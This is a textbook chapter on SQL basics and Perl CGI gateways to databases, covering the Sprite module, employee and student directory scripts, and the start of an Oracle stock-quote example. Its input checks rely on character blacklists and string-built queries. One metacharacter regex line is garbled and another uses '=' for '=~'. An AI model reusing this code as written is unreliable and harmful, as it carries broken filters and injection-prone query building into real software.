SQL--pronounced "S Q L" and not "Sequel"--is a standardized sub-language to access and manipulate data within a relational database system. The original SQL prototype defined a "structured" language, thus the term Structured Query Language, but this is no longer true of the current SQL-92 standard. SQL was designed specifically to be used in conjunction with a primary high-level programming language. In fact, most of the basic constructs that you would find in a high-level language, such as loops and conditionals, do not exist in SQL.

Most of the commercial relational database systems in use today, such as Oracle and Sybase, support SQL. As a result, the code to access and manipulate a database can be ported easily and quickly to any platform. Now, let's look at SQL.

Creating a database

We will start out by discussing how a database is created. Suppose you have the following information:

Player | Years | Points | Rebounds | Assists | Championships
Larry Bird | 12 | 28 | 10 | 7 | 3
Michael Jordan | 10 | 33 | 6 | 5 | 3
Magic Johnson | 12 | 22 | 7 | 12 | 5
John Stockton | 10 | 16 | 3 | 13 | 0
Karl Malone | 10 | 25 | 11 | 3 | 0
Shaquille O'Neal | 2 | 29 | 12 | 3 | 0

The SQL code to create this database is:

create table Player_Info
(
    Player            character varying (30) not null,
    Years             integer,
    Points            integer,
    Rebounds          integer,
    Assists           integer,
    Championships     integer
);

The create table command creates a database, or a table. The Player field is stored as a non-null varying character string. In other words, if the data in the field is less than 30 characters, the database will not pad it with spaces, as it would for a regular character data type. Also, the database forces the user to enter a value for the Player field; it cannot be empty.

The rest of the fields are defined to be integers. Some of the other valid data types include date, time, smallint, numeric, and decimal. The numeric and decimal data types allow you to specify floating-point values. For example, if you want a five-digit floating-point number with a precision to the hundredth place, you can specify decimal (5, 2).

Accessing data

Let's say you want a list of the entire database. You can use the following code:

select *
    from Player_Info;

The select command retrieves specific information from the database. In this case, all columns are selected from the Player_Info database. The "*" should be used with great caution, especially on large databases, as you might inadvertently extract a lot of information. Notice that we are dealing only with columns, and not rows. For example, if you wanted to list all the players in the database, you could do this:

select Player
    from Player_Info;

Now, what if you want to list all the players who scored more than 25 points? Here is the code needed to accomplish the task:

select *
    from Player_Info
    where (Points > 25);

This would list all the columns for the players who scored more than 25 points:

Player | Years | Points | Rebounds | Assists | Championships
Larry Bird | 12 | 28 | 10 | 7 | 3
Michael Jordan | 10 | 33 | 6 | 5 | 3
Shaquille O'Neal | 2 | 29 | 12 | 3 | 0

But, say you wanted to list just the Player and Points columns:

select Player, Points
    from Player_Info
    where (Points > 25);

Here is an example that returns all the players who scored more than 25 points and won a championship:

select Player, Points, Championships
    from Player_Info
    where (Points > 25) and
          (Championships > 0);

The output of this SQL statement would be:

Player | Points | Championships
Larry Bird | 28 | 3
Michael Jordan | 33 | 3

You could also use wildcards in a select command. For example, the following will return all the players that have a last name of "Johnson":

select *
    from Player_Info
    where Player LIKE '% Johnson';

This will match a string ending with "Johnson".

Updating a database

Let's suppose that Shaquille O'Neal won a championship. We need to update our database to reflect this. This is how it can be done:

update Player_Info
    set Championships = 1
    where Player = 'Shaquille O'Neal';

SQL also has methods to modify entire columns. After every basketball season, we need to increment the Years column by one:

update Player_Info
    set Years = (Years + 1);

Now, let's discuss insertion into a table. Say we need to add another player to the database. We could do it this way:

insert into Player_Info
    values
    ('Hakeem Olajuwon', 10, 27, 11, 4, 2);

As you can see, it is very simple to insert an element into the table. However, if you have a database with a large number of columns, and you want to insert a row into the table, you can manually specify the columns:

insert into Player_Info
    (Player, Years, Points, Rebounds, Assists, Championships)
    values
    ('Hakeem Olajuwon', 10, 27, 11, 4, 2);

When used in this context, the order of the fields does not necessarily have to match the order in the database, as long as the fields and the values specified match each other.

Deleting information

If you wanted to delete "John Stockton" from the database, you could do this:

delete from Player_Info
    where Player = 'John Stockton';

SQL also allows you remove entire columns. You should be very careful when attempting such a move. Instead, it is much safer to create another database, and copy only the columns you want to the new database. Here is how you would remove a column:

alter table Player_Info
    drop column Championships;

If you want to delete all the records in the table, the following statement is used:

delete from Player_Info;

And finally, the drop table command deletes the entire database:

drop table Player_Info;

(For more information on SQL, see the reference guide on SQL-92 at http://sunsite.doc.ic.ac.uk/packages/perl/db/refinfo/sql2/sql1992.txt).

Sprite

Never heard of Sprite? That is because I developed it for this book. It is a Perl 5 module that allows you to manipulate text-delimited databases (all data and delimiters are text) using a small but important subset of SQL-92. I offer Sprite so you can create your own databases and access them in CGI scripts, even if you do not have a database product like Sybase or Oracle. See Appendix E, Applications, Modules, Utilities, and Documentation for information on where you can get Sprite.

If you do have a commercial product, you can use techniques like those shown here to issue SQL commands. We will use some Perl interfaces to Oracle and Sybase later in the chapter. Let's look at an example.

Employee database

Let's assume that you have a text file that contains a list of your company's employees, as well as some information about them:

Last,First,Job_Title,Department,EMail,Phone
Supra,John,System Operator,Systems,jsupra,(617) 555-1578
Painton,Todd,Network Engineer,Systems,tpainton,(617) 555-6530
Martin,Robert,Sales Representative,Sales,martinr,(617) 555-7406
Levine,Julia,Administrative Assistant,Administration,julia,(617) 555-3056
Keenan,Jeff,Manager,Software,jeffk,(617) 555-7769
Nets,Laurie,Group Leader,Development,lnets,(617) 555-9962

The first line of the file contains the field names (delimited by commas). This is all you need to use the database. Unlike other databases that store the data in a unique (and strange) format, Sprite operates on plain text.

Here is the form that will act as the front end to the database:

<HTML>
<HEAD><TITLE>CGI Corporation</TITLE></HEAD>
<BODY>
<H1>Employee Database</H1>
Welcome to the CGI Corporations's Employee Search Form. You can use
this to find information about one of our employee.
Enter as much information as possible to narrow down the search.
<HR>
<FORM ACTION="/cgi-bin/db_phone.pl" METHOD="POST">
<PRE>
Last Name:      <INPUT TYPE="text" NAME="Last" SIZE=40>
First Name:     <INPUT TYPE="text" NAME="First" SIZE=40>
Job Title:      <INPUT TYPE="text" NAME="Job_Title" SIZE=40>
Department:     <INPUT TYPE="text" NAME="Department" SIZE=40>
EMail Address:  <INPUT TYPE="text" NAME="EMail" SIZE=40>
Phone Number:   <INPUT TYPE="text" NAME="Phone" SIZE=40>
</PRE>
<INPUT TYPE="submit" VALUE="Submit the search">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY></HTML>

The form is shown in Figure 9.5.

Figure 9.5: Phone form

[Graphic: Figure 9-5]

Now, let's build the CGI application that will decode the form information, process the user's query, and create a document displaying the results, as seen in Figure 9.6.

Figure 9.6: CGI gateway to database

[Graphic: Figure 9-6]

The program begins:

#!/usr/local/bin/perl5
use Sprite;
$webmaster = "shishir\@bu\.edu";
$query = undef;

The use command instructs Perl to load the module (or extension). You can load more than one module at a time. For example, if we wanted to create dynamic GIF images from the data contained in a database, we would have to load both the GD and the Sprite modules:

use GD;
use Sprite;

To continue with the program:

&parse_form_data(*FORM);
$fields = '(Last|First|Job_Title|Department|EMail|Phone)';

The form data is decoded. The parse_form_data subroutine used in this program is the one we've been using throughout this book. The fields variable contains a list of all the fields in the form. You might wonder why we would need to have such a list when then the parse_form_data subroutine decodes all the fields in the form. The reason for this is to make sure that only valid fields are processed, as the search query is dynamically created from the user-specified information. Remember, forms are very insecure; a cracker can download a form, edit it, add an extra field, and submit the form to the program. If the program is not carefully designed, we could have a major problem!

foreach $key (keys %FORM) {
    if ( ($key !~ /\b$fields\b/o) || ($FORM{$key} =~ /[^\w\-\(\) ]/) ) {
        &return_error (500, "CGI Corporation Employee Database Error",
                            "Invalid Information in Form.");

The foreach construct iterates through all of the fields stored in the FORM associative array, and checks for two things, represented by the two expressions separated by the || operator. First, the field is checked against the list stored in the fields variable for validity. Second, it makes sure the information entered by the user is constrained to the following characters: A-Z, a-z, 0-9, (, ), and the space character. This ensures that no shell metacharacters are passed.

    } else {
        $FORM{$key} =~ s/(\W)/\\$1/g;
        if ($FORM{$key}) {
            $query = join (" and ", $query, "($key =~ /$FORM{$key}/i)");
        }
    }
}

The conditional is executed if the field is valid. It checks to see if any information was entered in the field. If there is information, a query is built by joining each field and value with "and". You would normally have to escape the "/" character if you are using the regular expression search in Sprite. In this case, you don't need to because the user cannot enter "/" in any search field.

Once the loop terminates, a query might look something like the following:

and (Last =~ /Martin/i) and (First =~ /Robert/i) and (Department =~ /Sales/i)

The reason the query has an "and" at the beginning has to do with the way in which the query was created. If you look back at the join command, you can see that the information stored in the query variable is concatenated to a combination of a key and a value with "and", and is finally stored in query. Remember, $query will be undefined the first time through the loop, and thus will end up with an "and" at the beginning. Let's remove the unwanted initial string.

if ($query) {
    $query =~ s/^ and //;
} else {
    &return_error (500, "CGI Corporation Employee Database Error",
                        "No query was entered.");
}

If the user failed to enter any information, an error message is displayed. Otherwise, the "and" at the beginning of the query is removed to create a normal query:

(Last =~ /Martin/i) and (First =~ /Robert/i) and (Department =~ /Sales/i)

Note that Sprite allows you to use regular expression operators to search for data. If the user entered "M" in the last name field, this program instructs the database to return all records that contain the letter "M" (or "m", as the "i" flag indicates case insensitivity). There are cases when this is not desirable. In such cases, you would need to modify the way the query is joined:

$FORM{$key} = s/(['"])/\\$1/g;
$query = join (" and ", $query, "($key = '$FORM{$key}')");

This will return only exact matches. Since the value in the field is a string, you need to enclose $FORM{$key} in single quotes and escape all other quotes (or Sprite will return an error).

$rdb = new Sprite ();
$rdb->set_delimiter ("Read", ",");

This is some object-oriented Perl syntax that you saw in Chapter 6, Hypermedia Documents. A new database object is created, and the reference to it is stored in the variable rdb. The set_delimiter function sets the delimiter for the data stored in the database. The set_delimiter function takes two arguments. In the first, we specify that we are reading from the database. In the second, we specify the comma as the field delimiter (so we have to know what the data file looks like).

@data = $rdb->sql (<<End_of_Query);
    select * from phone.db
    where $query
End_of_Query

The query is passed to Sprite with the sql function. In this case, a here document is used to pass the query (so it looks readable to humans). You could just as easily do this:

@data = $rdb->sql ("select * from phone.db where $query");

Sprite returns the matched records as an array, with all the fields in each record joined by the null character "\0". However, the first element of the array is not a record, but a flag indicating success or failure. For instance, if you passed the following query:

select * from phone.db where (Department =~ /Systems/i)

the array would look like this:

$data[0] = 1
$data[1] = Supra\0John\0System Operator\0Systems\0jsupra\0(617) 555-1578
$data[2] = Painton\0Todd\0Network Engineer\0Systems\0tpainton\0(617) 555-6530

A value of 1 indicates success, while a 0 indicates failure.

$status = shift (@data);
$no_elements = scalar (@data);

The shift statement removes the first element of the array and stores it in the variable status. Then scalar is used to determine the number of elements in the array. You can also evaluate the array in a scalar context, without using the scalar command:

$no_elements = @data;

This is the same as using the scalar command, but different from:

$last_element = $#data;

This returns the index of the last element of the array (so in most cases, it would have a value one less than the number of elements, as arrays are zero-based).

if (!$status) {
    &return_error (500, "CGI Corporation Employee Database Error",
                        "Sprite Database Error!");
} elsif (!$no_elements) {
    &return_error (500, "CGI Corporation Employee Database Error",
                        "The record you specified does not exist.");

Two things are checked: the error status and the number of records returned by Sprite. If either the status is 0 or no records were returned, an error is displayed.

} else {
    print <<End_of_HTML;
Content-type: text/html
<HTML>
<HEAD><TITLE>CGI Corporation Employee Directory</TITLE></HEAD>
<BODY>
<H1>CGI Corporation Employee Directory</H1>
<HR><PRE>
End_of_HTML

This code is executed if valid records were returned by Sprite. We are now formatting the output for display. One of Perl's original attractions was the report-generating features it offered; Larry Wall even said that the "rl" in Perl stood for "Reporting Language." We will use some of those powerful features here. What we have to do is create a format and assign it to the $~ variable. Then, whenever we issue a write statement, Perl will print the data according to the format.

    $~ = "HEADING";
    write;

The "HEADING" format is selected to display header information.

    $~ = "EACH_ENTRY";
    foreach (@data) {
         s/([^\w\s\0])/sprintf ("&#%d;", ord ($1))/ge;
        ($last, $first, $job, $department, $email, $phone) =
            split (/\0/, $_, 6);
        write;
    }
    print "</PRE>", "\n";
    print "<HR>";
        print "</BODY></HTML>", "\n";
}

The "EACH_ENTRY" format is selected to display each record from the phone database. The foreach loop iterates through each record, splits it into the different fields, and issues a write to display the data. Note that no variable was supplied as part of the foreach loop. Normally, we would have something like this:

foreach $record (@data) {
    .
    .
    .
}

Since we did not supply a variable, Perl automatically places it in its default variable: $_.

$rdb->close ();
exit (0);

Finally, the database is closed, and the script terminates. Now, let's look at the two format statements:

format HEADING =
Last       First      Job Title      Department   EMail       Phone
----       -----      ---------      ----------   -----       -----
.

This is a simple one! It is used as a header to display all of the fields. The period on a line by itself terminates the format.

format EACH_ENTRY =
@<<<<<<<<  @<<<<<<<<  @<<<<<<<<<<<<  @<<<<<<<<<<  @<<<<<<<<<  @<<<<<<<<<<<<<
$last,     $first,    $job,          $department, $email,     $phone
.

This one is a little more complex. The "@<<<<<<<<" indicates an eight-character, left-justified field holder. The value stored in the variable, which is listed below a field holder, is displayed each time a write is called. This will allow for a neat and clean display, as shown in Figure 9.7.

Figure 9.7: Phone gateway results

[Graphic: Figure 9-7]

Student database

A CGI program is not limited to just reading information from a database; it can also manipulate the information. Here is a CGI program that can read, modify, and delete a database consisting of student information. Before we go any further, let's look at the supporting HTML documents:

<HTML>
<HEAD><TITLE>Welcome to CGI Educational Center</TITLE></HEAD>
<BODY>
<H1>Student Database</H1>
You can use a combination of forms and CGI to access and modify information in
the student database. Please choose one of the following options:
<HR>
<A HREF="/add.html">Add New Student</A><BR>
<A HREF="/modify.html">Modify Student Information</A><BR>
<A HREF="/view.html">View Student Information</A><BR>
<A HREF="/delete.html">Delete Student</A><BR>
<HR>
</BODY>
</HTML>

This is the initial document containing links to the various forms that allow the user to view, add, modify, and delete information from the student database.

<HTML>
<HEAD><TITLE>Welcome to CGI Educational Center</TITLE></HEAD>
<BODY>
<H1>Add New Student</H1>
<HR>
<FORM ACTION="/cgi-bin/student.pl?add" METHOD="POST">
<PRE>
Student Name:       <INPUT TYPE="text" NAME="Student" SIZE=40>
Year of Graduation: <INPUT TYPE="text" NAME="YOG" SIZE=4 MAXLENGTH=4>
Address (Mailing Information):
<TEXTAREA NAME="Address" ROWS=4 COLS=40></TEXTAREA>
</PRE>
<INPUT TYPE="submit" VALUE="Add New Student">
<INPUT TYPE="reset"  VALUE="Clear the Information">
</FORM>
<HR>
</BODY></HTML>

This is the form used to add information into the database. When the user submits this form, a query of "add" is sent to the CGI program.

<HTML>
<HEAD><TITLE>Welcome to CGI Educational Center</TITLE></HEAD>
<BODY>
<H1>Modify Student Information</H1>
<HR>
<FORM ACTION="/cgi-bin/student.pl?modify_form" METHOD="POST">
Student Name: <INPUT TYPE="text" NAME="Student" SIZE=40>
<P>
<INPUT TYPE="submit" VALUE="Modify Student Information">
<INPUT TYPE="reset"  VALUE="Clear the Information">
</FORM>
<HR>
</BODY>
</HTML>

This form allows the user to modify information for a particular student. When this form is submitted, the program builds and displays another form dynamically. Here is the form used to view the results of a specified query.

<HTML>
<HEAD><TITLE>Welcome to CGI Educational Center</TITLE></HEAD>
<BODY>
<H1>View Student Information</H1>
<HR>
<FORM ACTION="/cgi-bin/student.pl?view" METHOD="POST">
Student Name: <INPUT TYPE="text" NAME="Student" SIZE=40>
<P>
Year of Graduation:
<INPUT TYPE="radio" NAME="Sign" VALUE="greater"> Greater Than
<INPUT TYPE="radio" NAME="Sign" VALUE="equal" CHECKED> Equal To
<INPUT TYPE="radio" NAME="Sign" VALUE="less"> Less Than
<INPUT TYPE="text" NAME="YOG" SIZE=4 MAXLENGTH=4>
<P>
Address Information: <INPUT TYPE="text" NAME="Address" SIZE=40>
<P>
<INPUT TYPE="submit" VALUE="View Student Information">
<INPUT TYPE="reset"  VALUE="Clear the Information">
</FORM>
<HR>
</BODY>
</HTML>

This form is used to view records that match certain criteria. The user can select records based on a conditional year of graduation (either greater than, less than, or equal to a certain year). We could have just as easily allowed mathematical operators (>, <, and =) to be entered, but this can be a potential security hole, as some of them have a special meaning to the shell (i.e., shell metacharacters). It is far better and safer to use strings like "equal", "greater", and "less", and let the CGI program convert them to the appropriate operators when creating a query.

<HTML>
<HEAD><TITLE>Welcome to CGI Educational Center</TITLE></HEAD>
<BODY>
<H1>Delete Student</H1>
<HR>
<FORM ACTION="/cgi-bin/student.pl?delete" METHOD="POST">
<PRE>
Student Name:       <INPUT TYPE="text" NAME="Student" SIZE=40>
Year of Graduation: <INPUT TYPE="text" NAME="YOG" SIZE=4 MAXLENGTH=4>
</PRE>
<INPUT TYPE="submit" VALUE="Delete Student">
<INPUT TYPE="reset"  VALUE="Clear the Information">
</FORM>
<HR>
</BODY>
</HTML>

A user can use this form to delete information from the database. In this case, only the student name and year of graduation fields are presented. Records for an entire class can be deleted by specifying the year of graduation, and leaving the name field empty. You should not normally allow such a dangerous option! However, it is shown here to illustrate the power of databases and the Web.

Now, let's look at the CGI program that works with these forms.

#!/usr/local/bin/perl5
use Sprite;
$query_string = $ENV{'QUERY_STRING'};
$script = $ENV{'SCRIPT_NAME'};
$request_method = $ENV{'REQUEST_METHOD'};
$webmaster = "shishir\@bu\.edu";
$database = "/home/shishir/student.db";
$main_form = "/student.html";
$commands = '(add|modify_form|modify|view|delete)';

The Sprite module is loaded. The full path to the student database and the relative path to the main HTML document (the one that contains links to the other forms) are stored in the database, and main_form variables, respectively. Finally, commands contains a list of the valid queries that forms can pass to this program. If you look carefully at the list, you will notice that none of the forms listed above passes the "modify" query. The form that passes this is dynamically created by this program, as you will later see.

$delimiter = "::";
$error = "CGI Student Database Error";

Fields in the student database are delimited by the "::" characters.

if ($query_string =~ /^\b$commands\b$/) {
    &parse_form_data (*DB);

If the query is valid, the POST form data is decoded and placed in the DB associative array. (As always, the parse_form_data subroutine used in this program is the one we've been using throughout all our examples.)

    &check_all_fields ();
    &check_database ();

The check_all_fields subroutine iterates through the DB associative array to ensure that there are no shell metacharacters. The check_database subroutine checks to see if the student database exists. If not, a new one is created.

    $rdb = new Sprite ();
    $rdb->set_delimiter ("Read",  $delimiter);
    $rdb->set_delimiter ("Write", $delimiter);

A new database object is created. The set_delimiter function sets the delimiter to be used when reading from and writing to a database.

    $command_status = &$query_string ();

This is a construct that you may not have seen before. The subroutine corresponding to the value stored in query_string is called. It is equivalent to saying:

if ($query_string eq "add") {
    $command_status = &add ();
} elsif ($query_string eq "modify_form") {
    $command_status = &modify_form ();
} elsif ($query_string eq "modify") {
    $command_status = &modify ();
} elsif ($query_string eq "view") {
    $command_status = &view ();
} elsif ($query_string eq "delete") {
    $command_status = &delete ();
}

How convenient! Now, let's continue on with the program.

    if ($command_status) {
        $rdb->close ($database);
        print "Location: ", $main_form, "\n\n";
    } else {
        $rdb->close ();
    }

Depending on the status returned from one of the subroutines above, a server redirect is done with the Location: header. There is a subtle difference between the two $rdb->close subroutines. If you specify a database as part of the close subroutine, the modifications performed on that database are saved. Otherwise, the changes are discarded.

} else {
    &return_error (500, $error,
                "Invalid command passed through QUERY_STRING.");
}
exit (0);

If an invalid query was passed to this program, an error is returned.

The following subroutine checks to see if the database exists. If it does not, a new database is created, and a header line containing the field names, delimited by "::", is output.

sub check_database
{
    local ($exclusive_lock, $unlock, $header);
    $exclusive_lock = 2;
    $unlock = 8;
    if (! (-e $database) ) {
        if ( open (DATABASE, ">" . $database) ) {
            flock (DATABASE, $exclusive_lock);
            $header = join ($delimiter, "Student", "YOG", "Address");
            print DATABASE $header, "\n";
            flock (DATABASE, $unlock);
            close (DATABASE);
        } else {
            &return_error (500, $error, "Cannot create new student database.");
        }
    }
}

The check_all_fields subroutine makes sure the form elements do not contain shell meta-characters:

sub check_all_fields
{
    local ($key);
    foreach $key (keys %DB) {
        if ($DB{$key} =~ /[`\!;\\\*\\$[amp   ][lt    ][gt    ]]/) {\n              [amp   ]\|return_error (500, $error,
                                  "Invalid characters in the [$key] field.");
        }
    }
}

The subroutine iterates through the DB associative array checking to make sure that none of the elements contains any dangerous shell metacharacters. If any are found, an error message is displayed.

sub build_check_condition
{
    local ($columns) = @_;
    local ($all_fields, $loop, $key, $sign, $sql_condition);

This is a very useful subroutine that dynamically builds a query. It expects a string in the following format:

"Student,=,Address,=~"

From this, the following query is constructed (assuming that the user entered "Ed Surge" in the student field, and "Elm Street" in the address field):

(Student = 'Ed Surge') and (Address =~ 'Elm Street')

(You might have noticed that the regular expression is not the usual format ($string =~ /abc/). You are correct! However, Perl accepts this format as well.)

    @all_fields = split (/,/, $columns);

The all_fields array consists of successive elements of the field name, followed by the operator that should be used to search that field. In this example, the array would look like this:

$all_fields[0] = "Student";
$all_fields[1] = "=";
$all_fields[2] = "Address";
$all_fields[3] = "=~";

Now, let's look at the loop that iterates through this array to build the query.

    for ($loop=0; $loop <= $#all_fields; $loop = $loop + 2) {
        $key  = $all_fields[$loop];
        $sign = $all_fields[$loop + 1];

The key and the sign variables consist of the field name and the operator, respectively.

        if ($DB{$key}) {
            $DB{$key} =~ s/([\W])/\\$1/g;
            $sql_condition = join (" and ", $sql_condition,
                    "( $key $sign '$DB{$key}' )", );
        }
    }

The query is built in nearly the same manner as in the preceding example, except that the operator can be different for each field.

    if ($sql_condition) {
        $sql_condition =~ s/^ and //;
        return ($sql_condition);
    } else {
        &return_error (500, $error, "No query was entered.");
    }
}

If the user did not enter any information into the fields, an error message is displayed. Otherwise, the dynamically created query is returned (to the subroutine that called).

This is a very simple subroutine (if you can call it that) that returns an error.

sub database_error
{
    &return_error (500, $error,
        "Sprite database error. Please check the log file.");
}

The only reason this statement was placed in a subroutine is for convenience. For example, it is much shorter and quicker to say:

$rdb->update (<<Update_Command) || &database_error ();

than to say:

$rdb->update (<<Update_Command) || &return_error (500, $error,
        "Sprite database error. Please check the log file.");

This is especially true if the same error needs to be returned for various problems.

The check_select_command subroutine is generally used after an SQL "select" statement. It checks the first element of the returned data, as well as the number of records returned, and displays an error if either of these values equal 0. Otherwise, a status of 1 is returned.

sub check_select_command
{
    local ($value, $no_elements) = @_;
    if (!$value) {
        &database_error ();
    } elsif (!$no_elements) {
        &return_error (500, $error,
            "The record you specified does not exist.");
    } else {
        return (1);
    }
}

The add subroutine inserts a record into the database.

sub add
{
    $DB{'Address'} =~ s/\n/<BR>/g;
    $DB{'Address'} =~ s/(['"])/\\$1/g;
    $DB{'Student'} =~ s/(['"])/\\$1/g;
    $rdb->sql (<<End_of_Insert) || &database_error ();

insert into $database
    (Student, YOG, Address)
values
    ('$DB{'Student'}', '$DB{'YOG'}', '$DB{'Address'}')
End_of_Insert
    return (1);
}

All newline characters are converted to "<BR>" and all single and double quotes are escaped. Remember, all records in a text-delimited database are delimited by newline characters! This ensures that the data will be correctly displayed by the browser when the user decides to view it.

The format for the "insert" SQL statement is the same as described in the SQL primer earlier. If the record could not be inserted into the database, an error is returned. Otherwise, a status of 1 is returned. This instructs the script to save the database and perform a server redirect to display the main HTML document.

Now for the most complicated action--modifying a row.

sub modify_form
{
    local (@info, $modify_status, $no_elements, $status);
    $DB{'Student'} =~ s/(['"])/\\$1/g;
    @info = $rdb->sql (<<End_of_Select);
select * from $database
where (Student = '$DB{'Student'}')
End_of_Select
    $status = shift (@info);
    $no_elements = scalar (@info);
    $modify_status = &check_select_command ($status, $no_elements);
    if ($modify_status) {
        &display_modify_form ($info[0]);
    }
    return (0);
}

This subroutine performs two actions. First, it uses the student's name, as specified in the modify form (shown with the other forms at the beginning of this section), to retrieve the record for that student. The check_select_command subroutine ensures that data was returned by the database. Second, display_modify_form is called (with the first record in the array as an argument) to display a new form that contains all of the information about the student. The user can then modify the data in the form and submit it.

A status of 0 is returned by this subroutine. As a result, the database is not saved (which is what we want, since it was not modified), and no server redirection is performed.

The display_modify_form subroutine returns a form for changing a student's record.

sub display_modify_form
{
    local ($fields) = @_;
    local ($student, $yog, $address);
    ($student, $yog, $address) = split (/\0/, $fields);
     $address =~ s/<BR>/\n/g;
     $student = &escape_html ($student);
     $yog = &escape_html ($yog);

The record that is passed to this subroutine by modify_form is split on the "\0" delimiter, and the "<BR>" characters are converted back to newlines. In addition, we call the escape_html subroutine to "escape" characters that have a special significance to the browser, such as the double quote, "<", ">", and "&". We perform these steps so that the information is displayed properly.

    print <<End_of_Modify_Form;
Content-type: text/html
<HTML>
<HEAD><TITLE>CGI Educational Center</TITLE></HEAD>
<BODY>
<H1>Modify Student Information</H1>
<HR>
<B>Student Name: $student</B>
<P>
<FORM ACTION="$script?modify" METHOD="POST">
<INPUT TYPE="hidden" NAME="Student" VALUE="$student">
Year of Graduation:
<INPUT TYPE="text" NAME="YOG" SIZE=4 MAXLENGTH=4 VALUE="$yog">
<P>
Address (Mailing Information):
<TEXTAREA NAME="Address" ROWS=4 COLS=40>
$address
</TEXTAREA>
<P>
<INPUT TYPE="submit" VALUE="Modify Record For: $student">
<INPUT TYPE="reset"  VALUE="Clear the Information">
</FORM>
<HR>
</BODY>
</HTML>
End_of_Modify_Form
}

The form containing the information for the specified student is output. The user can now modify this form. We use $student twice: once to remind the user which student was chosen, and once to pass the name back to this CGI program so it modifies the right row. The form is shown in Figure 9.8.

Figure 9.8: Modify form

[Graphic: Figure 9-8]

The escape_html subroutine escapes certain characters so that they are displayed correctly by the browser.

sub escape_html
{
    local ($string) = @_;
    local (%html_chars, $html_string);

    %html_chars = ('&', '&amp;',
                   '>', '&gt;',
                   '<', '&lt;',
                   '"', '&quot;');
    $html_string = join ("", keys %html_chars);
    $string =~ s/([$html_string])/$html_chars{$1}/go;
    return ($string);
}

The view subroutine shows a student's current record.

sub view
{
    local ( $fields, $query, @students, $view_status, $status, $no_elements);
    $fields = 'Student,=,Address,=~';
    if ($DB{'YOG'}) {
        if ($DB{'Sign'} eq 'greater') {
            $DB{'Sign'} = '>';
        } elsif ($DB{'Sign'} eq 'less') {
            $DB{'Sign'} = '<';
        } else {
            $DB{'Sign'} = '=';
        }
        $fields = join (",", $fields, 'YOG', $DB{'Sign'});
    }
    $query = &build_check_condition ($fields);

If the user entered information into the year of graduation field, the search operator is determined. This is then appended to the value stored in the fields variable. The build_check_condition subroutine is called to dynamically construct the search query.

    @students = $rdb->sql (<<End_of_Display);
select * from $database
    where $query
End_of_Display
    $status = shift (@students);
    $no_elements = scalar (@students);
    $view_status = &check_select_command ($status, $no_elements);

The query is passed to the select command. The information returned by the database is checked for possible errors. If there are no errors, view_status contains the value of 1.

    if ($view_status) {
        &display_results ("View Students", *students);
    }
    return (0);
}

If the data returned by the database is valid, the display_results subroutine is called to display the search results. The two arguments passed to the subroutine are the header for the HTML document and the reference to the array that contains the results.

sub display_results
{
    local ($title, *data) = @_;
    local ($student, $yog, $address);
    print "Content-type: text/html", "\n";
    print "Pragma: no-cache", "\n\n";
        print "<HTML>", "\n";
    print "<HEAD><TITLE>CGI Educational Center</TITLE></HEAD>";
        print "<BODY>", "\n";
    print "<H1>", $title, "</H1>";
    print "<HR>";

The Content-type: and Pragma: MIME headers are output. We do not want the browser to cache the page containing the results. As a result, the displayed data reflects the true status of the database.

    foreach (@data) {
        s/([^\w\s\0])/sprintf ("&#%d;", ord ($1))/ge;
        ($student, $yog, $address) = split ("\0", $_, 3);
        $student = "NULL"                      if (!$student);
        $yog     = "Unknown graduation date"   if (!$yog);
        $address = "No address specified"      if (!$address);

If any of the fields for a record are null, certain default values are used, so as not to display empty fields.

        $address =~ s/&#60;BR&#62;/<BR>/g;
        print "<BR>", "\n";
        print "<B>", $student, "</B> ", "($yog)", "<BR>", "\n";
        print $address, "<BR>", "\n";
    }
    print "<HR>", "\n";
        print "</BODY></HTML>", "\n";
}

The foreach loop iterates through the matched records, and displays them.

The delete subroutine removes records from the database.

sub delete
{
    local ($fields, $query);
    $fields = 'Student,=,YOG,=';
    $query = &build_check_condition ($fields);
    $rdb->sql (<<End_of_Delete) || &database_error ();
delete from $database
    where $query
End_of_Delete
    return (1);
}

Multiple records can be deleted by leaving the student field empty, but entering a valid year for the YOG field. If the specified records cannot be deleted, an error message is displayed.

Existing records are modified with the modify subroutine.

sub modify
{
    local (@fields, $key);
    @fields = ('YOG', 'Address');
    $DB{'Address'} =~ s/\n/<BR>/g;
    $DB{'YOG'} =~ s/(['"])/\\$1/g;
    $DB{'Student'} =~ s/(['"])/\\$1/g;
    $DB{'Address'} =~ s/(['"])/\\$1/g;
    foreach $key (@fields) {
        $rdb->sql (<<Update_Database) || &database_error ();
update $database
set $key = ('$DB{$key}')
where (Student = '$DB{'Student'}');
Update_Database
    }
    return (1);
}

The current version of Sprite does not support multiple fields in a update statement. As a result, a loop is used to update the record multiple times. If the user entered "1991" in the year of graduation field, and "Elm Street, 02215" in the address field, the two update statements are generated:

update /home/shishir/student.db
set YOG = ('1991')
where (Student = 'Ed Surge')
update /home/shishir/student.db
set Address = ('Elm Street, 02215')
where (Student = 'Ed Surge')

That concludes the section on Sprite.

A Gateway to an Oracle Database

Now, let's look at CGI gateways to the two most popular commercial databases: Oracle and Sybase. Each of these is supported by Perl and Tcl extensions that make our job much easier by letting us submit SQL queries that the database recognizes. I will use Oracle and Sybase to illustrate two different ways to display the results of a query. In this section, I will query an Oracle database and plot the data using gnuplot (available from ftp://prep.ai.mit.edu/pub/gnu/gnuplot-3.5.tar.gz). In the next section, I will use Sybase and display the results in a table using HTML.

Suppose you have a database consisting of stock trading history for various companies over an eleven-year span (from 1980 through 1990). A sample table is shown below:

ID | Company | 1980 | 1981 | 1982 | 1983 | 1984 | 1985 | 1986 | 1987 | 1988 | 1989 | 1990
Doe | Doe, Inc. | 12.1 | 12.5 | 13.0 | 12.7 | 13.2 | 14.1 | 15.7 | 13.9 | 14.6 | 19.3 | 19.0
FaH | Federal Ham. | 37.3 | 40.4 | 38.2 | 41.1 | 42.3 | 44.4 | 45.9 | 45.3 | 47.9 | 48.1 | 50.0
Max | Max Corp. | 73.2 | 73.9 | 74.1 | 74.0 | 74.7 | 74.7 | 76.6 | 80.3 | 71.1 | 59.6 | 70.3

You would like to present this valuable source of information as crisp graphs or plots to the general public. How would you go about doing it? The first step is to create a form where the user can enter a company's identification:

<HTML>
<HEAD><TITLE>Welcome to CGI Stock Service</TITLE></HEAD>
<BODY>
<H1>Stock Quotes</H1>
<HR>
<FORM ACTION="/cgi-bin/stocks.pl" METHOD="GET">
<EM>Please enter the name of the stock that you would like to
get a quote for:</EM>
<P>
<INPUT TYPE="text" NAME="Company_ID" SIZE=10 MAXLENGTH=10>
<P>
